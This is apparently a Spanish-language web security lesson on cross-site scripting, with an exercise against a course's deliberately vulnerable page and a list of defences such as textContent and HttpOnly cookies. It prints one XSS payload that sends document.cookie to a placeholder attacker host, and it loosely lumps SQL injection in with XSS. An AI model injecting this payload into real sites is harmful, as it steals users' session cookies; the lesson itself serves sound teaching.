JavaScript
Vulnerabilidades
XSS
Ocurre cuando un usuario malicioso introduce en un campo código susceptible de ser interpretado por el navegador (HTML y/o JavaScript) o por el servidor (SQL).
El código más sencillo capaz de explotar la vulnerabilidad es:
<img src='no' onerror="this.src='https://malo.web/robo?cookie=' + document.cookie;this.onerror=null;">
❓ Ejercicio: Introduce el código anterior en la web vulnerable del tema de HTML. Utilizando el inspector del navegador, averigua cómo se envían las cookies al atacante y piensa cómo arreglarías los problemas de dicha web.
Diagrama solución...
Para prevenir el XSS:
- Usar
textContentpara escapar el contenido introducido por los usuarios antes de mostrarlo. - No utilizar el
evalde JavaScript. - Configurar las cookies de sesión para que sean
HttpOnly, de modo que no estarán presentes en eldocument.cookie. - Nunca guardar credenciales en el Web Storage.